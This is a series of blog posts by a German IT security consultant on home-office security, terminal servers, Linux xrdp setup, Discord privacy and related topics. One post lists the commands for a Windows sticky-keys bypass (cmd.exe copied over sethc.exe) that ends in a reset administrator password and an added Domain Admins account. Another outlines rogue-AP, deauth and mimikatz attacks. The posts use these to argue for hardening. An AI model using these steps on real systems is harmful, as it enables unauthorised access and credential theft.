Even if the owner does not do this, his service provider, who caused the disaster, will eventually do. He is the one in need of an explanation and before he loses any customer he rather blames a hacker for everything. Best served with a thick layer of snakeoil security solutions, which also generate revenue.

Besides that, my personal experience is that it is rather a stroke of luck to meet someone on the other end of the line who understands the consequences of an open SMB port. I’d like to quote Carlo Cipolla’s 2nd essay⁵.

That’s why I prefer to trust in the regulative power of the Internet and use my limited time to help everybody who wants to run his or her IT really safely and would rather invest in information security management.

Disclaimer: Everything without claim of correctness or completeness. I explicitly emphasize that I am not a lawyer and that this blog is only my personal opinion and understanding of the current legal situation in Germany.

regarding my search in https://shodan.io ↩︎
https://dejure.org/gesetze/StGB/202a.html ↩︎
e.g. DoS https://en.wikipedia.org/wiki/Denial_of_Service ↩︎
regarding my search in https://shodan.io ↩︎
https://en.wikipedia.org/wiki/Carlo_M._Cipolla ↩︎

Webinar: IT Risk Assessment and Information Security

Tomas Jakobs — Fri, 25 Sep 2020 13:10:21 +0200

My rant showed some effect ;-)

Coming Friday, 2nd October 2020 from 7pm on, I will give a presentation covering IT risk assessment and information security.

Everything will be hands-on with realistic (live) examples from the web for an audience of developers, project managers, independent consultants and anyone interested in technology.

Have a look at the original announcement here.

Friday, 02.10.2020, 1900 (CEST, local time)
Room: https://meet.jakobs.systems/b/tom-hwb-uzi-mo0
Password: 350533

Everybody is welcome but you should have at least a microphone for discussion after the webinar.

Looking forward to meet you!
Tomas Jakobs

Regarding Mailservers

Tomas Jakobs — Wed, 23 Sep 2020 12:40:21 +0200

Today I’ve recieved a Email with following Headers:

Arc-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none; dkim=none; arc=none
Erhalten: from xxxxxxxx.protection.outlook.com

May I ask openly what this “protection” outlook.com server does in the absence of common spam and security features?

There are numerous tools in the web for (self-)checking. I usually provide this link and try to lead by example before going into further details like IP-Stripping, pentests or security:

https://mxtoolbox.com/domain/jakobssystems.net/

With this in mind,
stay healthy!

Tomas Jakobs

Digitization in Schools: Micosoft Myth-Busted

Tomas Jakobs — Mon, 21 Sep 2020 12:26:21 +0200

Today Mike Kuketz published a great article in his blog on Digitization in schools and on educational policy, unfortunately in German only, but worth to read:

Bildungswesen: Entlarvung der häufigsten Microsoft-Mythen

Have fun reading and a good start to the week!
Here are some Power-Quotes:

Therefore, only product training courses take place. The expiration date for such trained knowledge will be exceeded by the next update of the user interface and subsequently has to be re-learned. So students do not receive digital competence about how something works from a technical point of view, but rather which “buttons” they have to press.

With the example of the Corona-Warning-App, developed by SAP and Telekom, it is clearly proven that open source can lead to more transparency, more security and more independency from manufacturers or corporations. The resulting departure from classic licensing models not only leads to cost reduction, but also provides more (planning) certainty and boosts the regional business. The long-term objective should be investments in services rather than in licence fees, since proprietary software licence schemes often do not provide real added value or benefit.

Transparency note:

Tomas Jakobs supports Mike Kuketz financially for several years with a permanent donation on a monthly basis and as Mod in the Kuketz Forum.

Xojo User Meeting 18.09.2020, 1800 LT

Tomas Jakobs — Wed, 16 Sep 2020 07:25:10 +0200

WebinarXOJOMeeting

A new XOJO User Meeting (in german) is scheduled for September, 18th 2020 at 1800 LT.

Topics

The new XOJO Web 2.0 API

First experiences with XOJO 2020R1

Duration: 45 Min.
Followed by smalltalk/ hangout with open end, Chatham House Rule applies.

Link to the conference room: https://meet.jakobs.systems/b/tom-kks-v5k-xka

Anyone interested is welcome and can participate. Password will be shared in XOJO Forum on Friday.

See you!

Exchange Replacement

Tomas Jakobs — Mon, 14 Sep 2020 17:20:21 +0200

I really just wanted to show you this Fnord, which is a very Microsoft-like thing:

Well however, you might ask why I am tackling with Outlook 2019, let me please explain. A company with 40 mailboxes has decided to abandon its Exchange server. The following sentence is for all accountants and auditors: We are talking about cost-savings of 15-25% per year!

Now everything runs with common internet standards on a Debian 10 with all the comfort and convenience as before: Starting with EAS-ActiveSync for Outlook (sigh if it has to be), a great webmailer, public folders, calendars, contacts and even resources. Here are some more screenshots:

With pleasure I would like to help you to migrate youe Exchange. Furthermore I can also setup, host and maintenance your Mailserver as MX in the internet.

Don’t hesitate to contact me
Sincerely, Tomas Jakobs

Script for Testing-Farm

Tomas Jakobs — Thu, 10 Sep 2020 11:00:21 +0200

Yesterday evening somebody desperately fought in despair with Packer, the younger sister of Vagrant. The goal was to create a testing farm of n machines for Virtualbox and make them accessible via SSH for further automated software testing/rollout.

For me, this is much easier by using a simple bashscript. This morning I’ve made one even before the very first cup of coffee.

#!/bin/bash
# Pfad zur Master .ova Datei
MASTER_OVA="$HOME/projects/testingfarm/DebianBuster.ova"
# Anzahl der gewünschten VMs
AMOUNT=2
# Name der VMs (Index und Datum werden noch angefügt = NAME-n-YYYYMMDD)
PREF_VMNAME="debian"
# Anzahl der CPUs
PREF_CPU=1
# Zugewiesener Speicher
PREF_MEMORY=1024
# Datums-Suffix
THE_DATE=$(date +%Y%m%d)
# Logdatei zum prüfen
THE_LOG="$HOME/projects/testingfarm/$THE_DATE-$PREF_VMNAME.log"
# -- Bitte ab hier nichts mehr manuell anpassen --
echo "Beginne Erstellen der Testumgebung... (Start: $(date +%T))" > $THE_LOG
for ((i=1; i<= $AMOUNT; i++))
do
vboxmanage controlvm $PREF_VMNAME-$i-$THE_DATE poweroff >> $THE_LOG
vboxmanage unregistervm $PREF_VMNAME-$i-$THE_DATE --delete >> $THE_LOG
vboxmanage import $MASTER_OVA --vsys 0 --cpus $PREF_CPU --memory $PREF_MEMORY --vmname $PREF_VMNAME-$i-$THE_DATE >> $THE_LOG
vboxmanage startvm $PREF_VMNAME-$i-$THE_DATE --type headless >> $THE_LOG
done
echo "...fertig! (Ende: $(date +%T))" >> $THE_LOG

The script creates n boxes based on its .ova MASTER. I assume that all network settings (if bridged, NAT or anything else) are specified there. Alongside with a transferred SSH-ID for Ansible, if necessary. The whole setup can of course be done without a master by using createvm inside the for-loop, your mileage may vary.

Have fun!

Privacy Shield Humour with Discord

Tomas Jakobs — Sat, 05 Sep 2020 12:50:21 +0200

Lately I received the following invitation for an online meeting in a network of consultants:

The EU-US Privacy Shield has been overturned by the ECJ. What does this mean for companies and service providers? Which services may still be used and which data may be transferred?

Exactly my topic and I continued further reading. The link at the end of the mail led to a meeting room on the platform discord.com - exactly my sense of humour!

A quick look at the Data Protection Policy¹, accessed yesterday afternoon, last updated 23 June 2020.

(…) we sometimes hire other companies or individuals to perform certain business-related functions. Examples of such functions include mailing information, maintaining databases and processing payments.

We may disclose your information if required to do so by law or in the good faith belief that such action is necessary to (i) comply with a legal obligation, (ii) protect and defend the rights or property of the Company or Related Companies, (iii) protect the personal safety of users of the Services or the public, or (iv) protect against legal liability.

Discord complies with the EU-U.S. Privacy Shield Framework and the Swiss – U.S. Privacy Shield Framework as set forth by the U.S. Department of Commerce regarding the collection, use, and retention of personal information transferred from the European Union and Switzerland to the United States, respectively.

But there’s still more to come: Like other so-called “social” networks, Discord reserves the right to obtain a perpetual, non-exclusive, transferable, royalty-free, sub-licensable and world-wide valid license² with any upload, distribution, or any other act of transmission in conjunction with its service, e.g. sharing a file during a conversation. It may therefore:

(…) use, host, reproduce, modify, adapt, adapt, publish, translate, create derivative works, distribute, perform and present content in connection with the operation and provision of the Service.

Discord effectively reserves all rights to do whatever it deems appropriate with its 100+ million customers’ aggregated data from the daily volume of 4 billion server messages³.

Let’s take a look how an advertising agency work when selling exclusive logo or images to their clients and sharing and working on it internally via Discord between its project team-members. What if the same image appears in an internet image-database just because Discord has entered a lucrative (for itself!) contract with an stockimage agency and therefore sublicensed all images to them?

The legal basis is supposed to be the Privacy Shield, which has been legally invalidated⁴ for nearly 2 months by the highest court of justice responsible for us. Unfortunately, many people forget that the Privacy Shield was not only declared invalid. The ECJ has identified a violation of fundamental EU rights, since a subject has effectively no rights towards US companies⁵. Without special technical or organizational measures and without “case by case” analysis, even the so-called standard contract clauses do not help⁶.

(…) people also have no option to go to the courts. The CJEU found that this violates the ’essence’ of certain EU fundamental rights.

As Max Schrems put it very nicely during his recent EU hearing: We are simply dealing with two fundamentally incompatible legal concepts of basic rights. Either the US changes its data protection laws or there is no legal basis, the data must not be transferred. It is so simple. Even the well-known Axel Voss can only approve 99.9% of Max Schrems’ statements in the same hearing⁷.

Okay Tomas, don’t be a bummer, they just don’t know what they are doing. They just need someone to tell them. Minimize the risk to yourself and attend the meeting. So I started up a testing VM used for exactly such purposes without access to customer- or project-data, separated from my entire internal network. The following screenshots and this screencast document my attempts to log in via web interface:

Conculsion: Anyone who intends to use Discord cannot avoid the services of Google, especially Google Analytics and NewRelic. Neither of them mentioned in the privacy policy. Regarding this NewRelic is no unknown in this context, as it enables even more detailed data mining in “real time” not only with the aggregated contents and metadata but also from the devices used by the user - in short, the complete IT stack ⁸.

Bearing that in mind, the following detail is quite insignificant, but I find it debunking in its own distinctive way. Discord uses the free polyfill.io⁹ on its site but not on their own (rented) servers but hosted and externally linked. This is the technical comination of disinterest and laziness.

After half an hour of trying I deleted the VM and wrote a friendly, but determined cancellation to the organizer. Of course combined with my invitation and offer to give a lecture on the subject on my own conference server.

Anyone who is working on projects with NDAs, competition or confidentiality clauses is no longer on thin ice with the use of such services, he has already broken through. I would be pleased to help you with the development and risk-assessment of your own technology.

With this in mind,
you are welcome

Transparency notice:

Tomas Jakobs has been a Gold Sponsor (No 2879) of noyb for several years now and supports the organization with an annual three-digit donation

Working in your Homeoffice - Part II

Tomas Jakobs — Mon, 31 Aug 2020 09:30:21 +0200

Terminal Server - A look back

The second part of the home office series is about terminalservers. The concept is quite old and we can’t avoid a short excursion into the past:

It leads us back to the late 40s and 50s of the last century right to the beginnings of computer history. Computing time on such huge Von-Neumann-Computers¹ was limited, very expensive and of course sometimes secret. Without going too much into details, I recommend the book by Kai Schlieter “Die Herrschaftsformel”², which shows the developmental trajectories of computer science, defence technology, cybernetics and public relations.

However what is important for us is the understanding of the 1950s that only multi-user and multitasking systems were capable of being operated in an economically meaningful way. Different programs on one central mainframe computer were executed sequentially in short time frames so several users could work with their applications on their own input and output devices called terminals. This “time-sharing” principle³ forms the basis of every modern operating system.

With the introduction of the microchip in 1971⁴, but no later than with the explosive growth of home and personal computers in the 1970s and early 1980s, the paradigm shifted to single-user mode⁵ computers. Operating systems like CP/M from 1974⁶ or its threefold copied clone MSDOS from 1981⁷ are the better known protagonists of this devolopment. My very first PC from 1988, a Schneider EURO-PC with MSDOS 3.3 originates from exactly this time.

It were those low-cost, single-user-mode devices that, along with graphical user interfaces, found their way into mainstream and enterprise environments. And as in the 50s, everyone knew: only with shared multi-users and above all multitasking systems serious and economically viable business operations were possible. It is a fact that a computer usually spends most of its time in idle⁸.

This is why the development of the X Window System⁹, an abstraction layer for transmitting graphical screen contents and control commands to local and remote terminals, began in the Unix world starting in 1984. Unlike before this also can be carried out over a network. A small start-up called Citrus copied and optimised this principle to MSDOS-based systems from 1989 on. The Independent Computing Architecture, the ICA protocol¹⁰ was born. A short time later this company was renamed to the current brand name Citrix¹¹. Microsoft quickly licensed this technology, integrated it as Terminal Services¹² in its Windows NT product family and called it Remote Desktop Protocol¹³.

A matter of perspective

Citrix and Microsoft jointly share the market for Windows-based terminal servers. For a long time, Citrix was considered to have the leaner and higher performance protocol and benefited from its technological leadership. The “seamless” window mode and smooth integration with local apps was a knockout factor. However, by 2016 at the latest, Microsoft has caught up with Citrix.

Citrix also achieved a technological lead in the area of virtualisation ahead of Microsoft. Again, in my opinion, Microsoft has caught up. But the question of virtualisation is another issue that does not arise here.

I cannot say which side is better. It is a matter of perspective and where someone with it’s network comes from. Anyway, such A/B questions often tend to be settled in an evidence-free way like questions of faith and rarely address specific underlying problems. For instance, besides Microsoft and Citrix there is also Thinstuff ¹⁴. My personal preference when it comes down to segmenting older applications on even older server systems quickly, making them accessible as terminal servers.

The better approach should be: What exactly should a terminal server do? Every time I see complete desktops inside terminals with all applications, web browsers and email usage, I ask myself what kind of thinking is behind this in terms of information security. Usually these systems are made available to everyone on the internet, without port-nocking¹⁵, GeoIP-blocking¹⁶ or IDS/IPS systems with Snort rules¹⁷ attached in front of them.

Recently, Citrix had been struggling with an unpatched vulnerability which made all systems that were accessible from the Internet instantly attackable. Even the BSI had to issue a warning¹⁸, since more than 5000 companies in Germany alone were affected. A scan with this nice script¹⁹ revealed dozens of unpatched systems in Shodan²⁰ half a year later in July 2020.

At Microsoft, the security situation is by no means better. It was and still is the preferred gateway for hackers²¹. In fact, when the “Bluekeep” vulnerability was discovered last year, which was a fundamental design flaw in the implementation, Microsoft had to patch even the long-unsupported Windows versions XP and 2003 servers²². However, even without Bluekeep, FBI warnings were almost part of a recurring ritual²³.

Let us keep it on record:

Without additional protective mechanisms, terminal servers that are accessible from the Internet carry a considerable potential of risk.
Both Citrix and Microsoft terminalservers are proprietary black boxes. No evidence-based conclusions can be made about their security. Both of them operate on the principle of “security by obscurity”²⁴.

Solutions

If technologies or systems carry security risks inherently, the question arises what risk-reducing measures may help to bring them down to an acceptable level. This is only a sample of the possibilities:

Multi-factor authentication e.g. TOTP
Managed SSO²⁵ with intrusion detection and heuristics
Isolation by e.g. avoiding AD integration
Use of IDS/IPS systems
Restriction to fixed IPs e.g. with VPNs
Use of controlled transition points (gateways or proxies)
Application-specific functions and security concepts

Terminalserver - Looking ahead

A remote home office workstation can connect to a terminalserver over the Internet in basically two ways:

with a proprietary client software
in standard web browser

The much more flexible concept is the integration into a web browser with common internet technologies. This enables third-party systems not managed by an in-house IT department to access any resources. Those who have made their infrastructure vendor-independent in recent years and prepared themselves for the so-called bring-your-own-device principle²⁶ are today in a much better situation when integrating home office workplaces.

The fact that by 2020 too many businesses and their HR departments still do not understand how questions about home office, working environment and operating system become hard recruitment factors for highly skilled employees is something I consider particularly depressing. Ultimately, nobody would think about hiring operators of excavators just to press shovels into their hands to dig a pit.

Everyone should work in exactly the environment they are most familiar with and can do their job efficiently.

To me, terminalservers with free HTTPS gateways are an indispensable part of a sustainable development.

Apache Guacamole

True, guacamole²⁷ is a mouth-breaker. But as free software under the patronage of the Apache Foundation, it provides an all the better gateway for RDP, VNC and SSH connections via HTTPS. I would like to present how this solution has helped a medium-sized company to connect its employees in corona lockdown with their desktop workstations in the office.

And this is meant quite literally. Every Windows desktop workstation can be converted into a terminalserver with just one mouse click. A user connected in that way continues to work with his usual work environment and profile settings. Guacamole acts as a gateway between the two worlds by converting the RDP signal on port 3389 from the internal network into a TLS encrypted HTTPS on port 443.

The user only needs a standard web browser in the home office, if necessary on the private PC. No adjustments, plug-ins or additional software client installation are required. When integrated as an external application into a Nextcloud²⁸, an employee finds everything in a familiar and, above all, uniform interface. Calendar, emails and the office desktop in different browser tabs are not only technically elegant but also handy for switching back and forth.

Guacamole can authenticate to OpenID, SAML or, if you prefer, LDAP. For security reasons I explicitly do not recommend LDAP. I have deliberately chosen the internal database-supported authentication, as I assume, that sooner or later credentials will be lost, especially when used in the internet.

What Microsoft can only do awkwardly , undocumented and proprietary through Azure-Cloud²⁹ far beyond any internet standards for its RDP/RDS, Guacamole offers by default: A TOTP multi-factor authentication. Standard-compliant and secure in accordance with RFC 6238³⁰. Those who already use a Nextcloud with TOTP and the appropriate FreeOTP³¹ app on their mobiles will immediately find their way around. From an administrative point of view, the ready-to-use jail in Fail2Ban³² and also the straightforward reverse proxy configuration³³ are very welcome.

In terms of functionality all this may be exactly what Microsoft does offer with its HTML5 RD Web Bundle. Apart from the crude multi-factor authentication beyond all internet standards. However, the fundamental flaw with Microsoft is the mandatory integration on a server integrated in AD with IIS. In my humble opinion a complete misconception! What security gain does an upstream system like this offer if an attacker, when overcoming the web server, has put his hand on exactly what he wanted? A tool like mimikatz³⁴ doesn’t carep about where it generates its “Golden Ticket” as long as it is running on an AD member computer.

Linux terminal server

A blog post on terminalservers without having shown how easy it is to set up a terminal server under Debian? For any desired number of users and without license costs or pitfalls? No, this is not possible and therefore I will show a short manual at the end. As a challenge and encouragement to try it out for yourself. It is also perfect as a spare system or as a preparation for future migrations. Anything from a Raspi4 to a powerful server can be taken as hardware, just depending on how many users are supposed to work on that system simultaneously. Of course, this host should have a fixed and accessible IP assignment or DNS name for the network.

Perform a standard Debian server installation without a graphical interface and with SSH as the only selected installation option.
Install a minimal GNOME shell with some essential desktop tools:

# apt install file-roller gthumb seahorse gnome-core gnome-dictionary 
ffmpeg gnupg hunspell-de-de firefox-esr-l10n-de webext-ublock-origin
cifs-utils ssl-cert ca-certificates apt-transport-https

Install xrdp³⁰. This is the software that converts an X11 session to RDP and makes it more transmittable over a network thanks to compression and caching:

# apt install xrdp

Adjust Polkit so that a user with his or her specific display is not prompted for root privileges every time. This is done by creating a new rule file with the text editor of your choice:

# nano /etc/polkit-1/localauthority.conf.d/02-allow-colord.conf

with this content:

polkit.addRule(function(action, subject) {
if ((action.id == "org.freedesktop.color-manager.create-device" ||
action.id == "org.freedesktop.color-manager.create-profile" ||
action.id == "org.freedesktop.color-manager.delete-device" ||
action.id == "org.freedesktop.color-manager.delete-profile" ||
action.id == "org.freedesktop.color-manager.modify-device" ||
action.id == "org.freedesktop.color-manager.modify-profile")
&& subject.isInGroup("{group}")
{
return polkit.Result.YES;
}
});

Now the only thing missing are users for testing. With “adduser” simply create a group of users and connect with them from other computers via RDP on port 3389. On Windows you might use mstsc.exe for this. On Linux I prefer to use Remmina³⁵, because it provides a neat connection list.

Much like a Windows terminalserver, this Linux terminalserver may be run behind a guacamole. In contrast to Windows hosts, the RDP protocol can also be tunneled over SSH securely.

Again, it is necessary to balance out the risks.
The next and third part of this blog series explains in detail how.

You are welcome,
Tomas Jakobs

Fefe on today's programming

Tomas Jakobs — Wed, 26 Aug 2020 18:00:21 +0200

Felix von Leitner (Fefe) in his latest article¹ at Heise wrote a very good statement straight out from the bottom of my heart:

Programming is in reality more an optimisation problem (what is the least effort I have to invest to get the customer to buy this) than engineering design. Even worse: If you find a developer who does everything correctly, then he is not competitive on the market against all the short-term approaches of the botchers of the competition.

https://www.heise.de/hintergrund/Entwicklung-Warum-Rust-die-Antwort-auf-miese-Software-und-Programmierfehler-ist-4879795.html ↩︎

Windows is broken by design

Tomas Jakobs — Tue, 25 Aug 2020 08:00:21 +0200

Feedbacks to my recently written blog “Working in Homeoffice Part I”:

No Tomas, you can’t say you believe Windows is broken by design, bashing everybody up in the face.

or:

It’s not that simple getting privileges on windows computers.

Well, how to put it right? Perhaps by explaining how easy and quickly you can become an administrator on Windows 7 or Windows 2008R2 server? Without knowledge of any login data at all?

Booting with WinPE Medium or into the rescue console
identify the correct system partition with diskpart
Copy cmd.exe into sethc.exe with a one-liner and confirm the security query with Y(es):

copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

After rebooting the system, simply press the Shift key 5x times and confirm the prompt with Yes. Voila, we are back in the game standing at 5:1 in the 85th minute:

We’re just one line away from the administrator’s password:

net user administrator YOURNEWPASSWORDHERE

Which would be rather “noisy” from a hacker’s perspective. Better create an unimpressive user and push him directly into one of the admin groups:

net user mueller YOURNEWPASSWORDHERE /add
net group "Domain Admins" mueller /add

The worst thing about this: It is neither new nor unknown. The fundamental logic behind has been the same for 25 years: Just replace anything with the CMD.EXE (COMMAND.COM also worked). In NT4 it was the LOGON screensaver, with XP the on-screen keyboard, with Win7 and 2008 as seen above SETHC.EXE, with Windows 2012 Server it’s UTILMAN.EXE, with Windows 10 and 2016 Server it is a bit more complicated but still basically same in principle. And no, I won’t reveal that here ;-)

Other systems ask for encryption during installation, Windows requires manual and complicated activation though. The result: Nobody does.

This is why I consider Windows as broken by design. It trains its users and in the end all those typical Windows administrators to mediocrity.

Working in your Homeoffice - Part I

Tomas Jakobs — Sun, 23 Aug 2020 15:04:21 +0200

Home Office Workstations - Introduction

How to integrate a corporate home office securely? And preferably also in a cost-effective, transparent and sustainable way! Some people might have been busy on this question due to Corona lockdown.

As an external contractor, I used to stand at the sideline more than once and looked into the big arena of swarm idiocy¹ and stupidity².

With this picture in mind, I’m launching a new blog series describing what I think a home office workplace for small and medium-sized businesses should look like. As always: No solution fits every use case universally. Your mileage may vary and of course the remark: I am buyable for exactly such challanges.

Starting off with the basics of what is considered as standard in information security. You will find orientation in the VdS 10000 Information Security Management System for small and medium-sized businesses³. With an excursion into the world of hacking, I will show why transplanting a Windows-based workstation from the internal domain into foreign networks and connecting it with VPN is a dodgy idea. At the end of the first part I show the concept of a portable branch network.

The second part of this blog series deals with terminalservers. Primarily I want to show how cost-efficiently and quickly all workstations of a business can be transformed into home office workstations. Using multi-factor authentication, TLS encryption, central management and above all without any additional client software blackbox installations. And since the starting point for phasing out any proprietary software is going through terminalservers, I also show how straightforward, inexpensive and quickly a Debian Linux terminalserver with a complete office environment can be set up.

In the third and last part we evaluate the risks and consequences. This might not sound very exciting at this point, considering the wealth of topics covered in the previous parts. It also might sounds quite unimportant. However, it is not. Top management always needs facts easily to understand and an administrator needs clear guidelines and policies.

As always, constructive criticism, comments and discussion are welcome.

Now what about Infomation Security Management?

Basically, information security guidelines for home office workplaces MUST be developed, starting and committed by the company’s top management⁴. Top management must not only approve the guidelines but also ensure that every employee understands them. This implies an appropriateness that fits the respective working situation. Nobody will be able to understand or execute instructions like “You must encrypt files AES 256⁵”.

Without proper training and awareness, no one should be assigned to a home office and left alone. Of course, nobody will admit by himself to have shortfalls in the use of his/her day-to-day tools, but that’ s another issue.

Clear performance or abortion criteria and, if necessary, the option of imposing sanctions should be available. Not everyone is able to work from his/her home office. That’s a fact and nothing to worry about. It only turns into a problem if it is not taken into consideration before.

Homeoffice workplaces are understood as mobile IT systems that require special security measures⁶ beyond a basic protection⁷ to protect against threats such as theft, unauthorized access or network transitions (home network, mobile network). Simply pulling a computer out of the internal network using a VPN does not meet these requirements. Additional regulations for backups⁸ and multi-factor authentication⁹ for remote access must be found.

If a dial-up via VPN is made, meaning linking and connecting to the organization’s network, then this has to secured additionally on network level¹⁰. IDS/IPS systems are mentioned and recommended explicitly. And usually when it comes to a segmented corporate network, we rarely speak of only one system, there should be multiple ones, at least one in each logical entity or location. Against the general recommendations of many retailers, who tend to lead customers straight into digital dependency with expensive subscription plans from Fortinet, Sophos and others on extra hardware, I’m talking about open source IDS/IPS systems, which are neither expensive nor complex and can be operated on standard hardware.

Last but not least: When it comes to portable IT devices and increasing video and screen sharing activities, the question arises more than ever before: What to do if the device or credentials have been lost? Who informs whom, where should accounts be blocked immediately? ¹¹. Something I see frequently: Copy & Paste while screen sharing or remote controlled. I wonder if people are familiar with the fact that clipboard content is shared with the participants aswell only depending what software is used? I have a nice little tool that polls the content from the clipboard into a text file every second. Quite nasty isn’t it?

Kudos to all who implemented information security guidelines before Corona and who were able to apply them without any arguments and especially who remained resistant to the bullshitters talking about “Exceptional times require exceptional measures”. However, those who do not have an information security management and neither used the lockdown as boost to establish one, will most likely be among those who are currently messing up their digitization. The question is not “if” but “when” everything will go to shit.

As a recreational pilot, I like to draw comparisons with aviation. Risks and threats have to be balanced and mastered when dealing with complex technology. If you don’t plan your flight in advance, if you don’t catch up with the weather forecast, if you do not use NOTAMs and finally if you never learned how to use checklists and consider them as a escape from a “trajectory of accident opportunity”¹², then you might be able to fly around your home airfield for many years. However, in the first dicey situation beyond your comfortzone you’re surely doomed.

An evil aviation proverb says: “The air cleans itself”. Unfortunately, I am not aware of any comparable proverb in information security.

Internal Windows computer with external VPN dial-in

The usual home office workstation consists of a Windows notebook, managed by the company’s internal Active Directory (AD) and equipped with VPN access for dial-up via the home WLAN. This configuration presents various challenges:

Private networks do not have an adequate level of protection. The bandwidth ranges from outdated or incorrectly configured routers, existing malware on other computers to unknown network configuration flaws.
Computers operated in this way are “dual homed”¹³, in other words connected to several interfaces in different networks, usually to the private WLAN and the corporate network.
The security of the entire network depends on the security of the weakest member. Any dual homed device becomes a prime target for attacks, as it is usually more accessible and less protected than the more hardened and controlled network gateway.

Excursus: WLAN hacking

At this point a short journey into the world of pentesting and WLAN hacking. Apart from the know-how, only a little bit of crafting skills are needed to create a WLAN sniffer. I’m quite lazy and using a ready-to-hack Pineapple¹⁴ which gives me the advantage of being able to automate many functions and get beautiful summaries.

The procedure is always the same:

Determining the target device from the number of radio devices
Record and examine all WLAN/MAC addresses requested by this device
Spoofing a WLAN known to the device with a RogueAP¹⁵
Deauth attack¹⁶ to disconnect and reconnect with your own RogueAP

Please note this disclaimer: Deauth attacks represent a criminal offence as a hacker attack and in addition are prohibited by the German Federal Regulatory Authorities¹⁷. These may only be carried out in the own network and equipment and under laboratory conditions with weak transmitting levels. It is smarter to set up a RogueAP in unexpected places with the SSID/MAC of the home network and just wait until your notebook connects automatically.

Interestingly an ideal place is the office within the company, exactly when the notebook is plugged into the corporated network by a wired connection but keeping the WLAN activated. That’s where Windows is limited by the fact, that it doesn’t know anything about network profiles or up/down rules. It simply connects to the known home network without prompting the user.

Using such a well positioned RogueAP (ironically housed in a small arms case) I can run it for some days. As soon as the target computer is on the hook, I receive an email notification as a new man-in-the-middle¹⁸. This was the more complex part.

Via the computer into the corporate network

In order to takeover a computer, local administration rights are required. Unfortunately, these are still assigned far too carelessly. It doesn’t have to be due ancient software. Modern, colourful and shiny gaming mice or keyboards ¹⁹ might indicate even from afar that someone is possibly working with local admin rights. As a rule of thumb, these are usually power users or those who are considered most advanced, trendy or skilled.

It really doesn’t get complicated when you have to obtain local admin rights. This usually requires a vulnerability for privilege escalation²⁰. Careless Adminstrators are also welcome when passwords are stored in plaintext all over the system. In my experience, the possibilities on managed domain computers are far better than on private ones. They don’t have service accounts, logon- or update-scripts, remote backups, time-recording, monitoring or inventory software.

There are enough YouTube clips²¹ and Internet tutorials²² which are much better at explaining how to take over a Windows computer. Not every tool fits the target at the first attempt.

As a matter of fact: Once on a Windows workstation, which is simultaneously a domain member of a corporate network, and the match is over. Quite comparable to a 5:1 in the 85th minute in an international soccer match: Obtain debugging privileges, execute mimikatz²³, read the passwords in plain text, job done!

One small piece of comfort left: The game is not quite over yet. Bonus miles are only available when the Kerberos TGT User²⁴ and the “golden ticket” are obtained. That’s the final blow to any AD infrastructure. From this point on, only a new installation of all servers and workstations would help.

Unfortunately, this is exactly what stakeholders do over and over and over again in the hope that something will change. Vaas Montenegro sends his greetings²⁵. Another fun fact: The tools mimikatz and kekeo are actually only “side-projects” of Benjamin Delphy, the french developer behind. He originally just wanted to learn some C and experience Microsoft Windows²⁶.

Back to our homeoffice computer. Nobody trusts Microsoft Office documents in email attachments anymore. But the allegedly home network all the more. SMB network shares and printers are willingly shared, and corporate admins assume they are in a trustworthy environment for their corporate VPN. A single line of netsh is enough for a network bridge²⁷.

Safeguard measures

To me Windows as operating system is structurally broken and can only be operated safely in isolation without any direct internet access. This would also be the ultimate answer to all questions regarding data protection laws. Of course, this radicalism is rarely practicable and the situation is not as hopeless as it may seem now.

An application whitelisting, for instance, has been a part of every Windows since Windows XP, regardless of whether you are a domain member or not. Managed and rolled out within an AD, it is called Software Restriction Policy²⁸. This would stop the execution of mimikatz and other tools, for example.

Another possibility would be to completely avoid WLAN and to set up a home office only using wired and controlled end points.

Concept of a mobile location

I got the idea from a construction sector client’s scenario. A on-site network with three segments was required. In addition to the client’s own supervisors, external contractors were also to be given access to the internet, of course wirelessly. As a matter of course besides POE webcams common printers/scanners including SMB network shares for scanned documents should be added. All these things with enough potential to cause severe security nightmares in an environment that can at best be considered as “rough”. Another contributing factor for increased general uncomfortability is the effect of metal construction containers and all kinds of heavy metal equipment on cellular and WLAN signals²⁹. A robust, flexible and at the same time easy to operate solution (“the red cable here, the green cable there”) had to be found. The construction site box was born:

A complete network consisting of LTE-Fritzbox, 8-Port POE Switch, an ipfire.org³⁰ Firewall and some more extras. Securely stored in a lockable 10", 6U metal chassis. The remote peer in the company also consists of an ipfire and enables fine-grained access to selected resources with firewall and routing rules. Two IDS/IPS³¹ run independently on both sides with SNORT rules reporting and blocking suspicious pings, network or port scans.

My own homeoffice

I have such a box in my own home office. One nice detail: The 10" network chassis made by the Sauerland-based manufacturer fits perfectly into an IKEA KALLAX/EXPEDIT shelf.

Apart from the previously presented construction site box, I use different gadgets such as a managed switch and a higher quality firewall with 4x Gigabit interfaces. But the principle remains the same: Only the secure, hard-wired green segment is connected to my office via VPN. The radios of the connected devices remain switched off.

With a switch, socket rail and insertable shelves, such a small enclosure is priced around 150-200,- EUR. A barebone for the ipfire.org is also available in the same price range. On top of that there is also time for planning, assembly and installation. Put all this together, it’s just a fraction of the costs and damage that may occur in the worst-case scenario.

The biggest benefit: As long as only standard hardware and free open source software is used, you remain completely independent from the price and product policy of the major tech companies with their own concepts of product life cycles, IT security and data protection.

This is what I consider as sustainable, flexible and long-term digitalization.

https://www.campus.de/e-books/wirtschaft-gesellschaft/wirtschaft/schwarmdumm-9794.html ↩︎
https://www.campus.de/buecher-campus-verlag/wirtschaft-gesellschaft/wirtschaft/flachsinn-10854.html ↩︎
https://de.wikipedia.org/wiki/VdS_10000 ↩︎
VdS 10000, 6.1 and 6.4 ↩︎
https://de.wikipedia.org/wiki/Advanced_Encryption_Standard ↩︎
VdS 10000, 10.4 “Zusätzliche Maßnahmen für mobile IT-Systeme” ↩︎
VdS 10000, 10.3 “Basisschutz von IT Systemen” ↩︎
VdS 10000, 16.5.4 “Datensicherung mobiler IT-Systeme” ↩︎
VdS 10000, 11.4.3 “Fernzugang” ↩︎
VdS 10000, 11.4.4 “Netzwerkkopplung” ↩︎
VdS 10000, 10.4.3 “Verlust” ↩︎
James Reason, “Human Error”, 20th printing 2009, Cambridge University Press, page 208 ↩︎
https://de.wikipedia.org/wiki/Dual_homed_host ↩︎
https://shop.hak5.org/products/wifi-pineapple ↩︎
https://en.wikipedia.org/wiki/Rogue_access_point ↩︎
https://www.elektronik-kompendium.de/sites/net/2109171.htm ↩︎
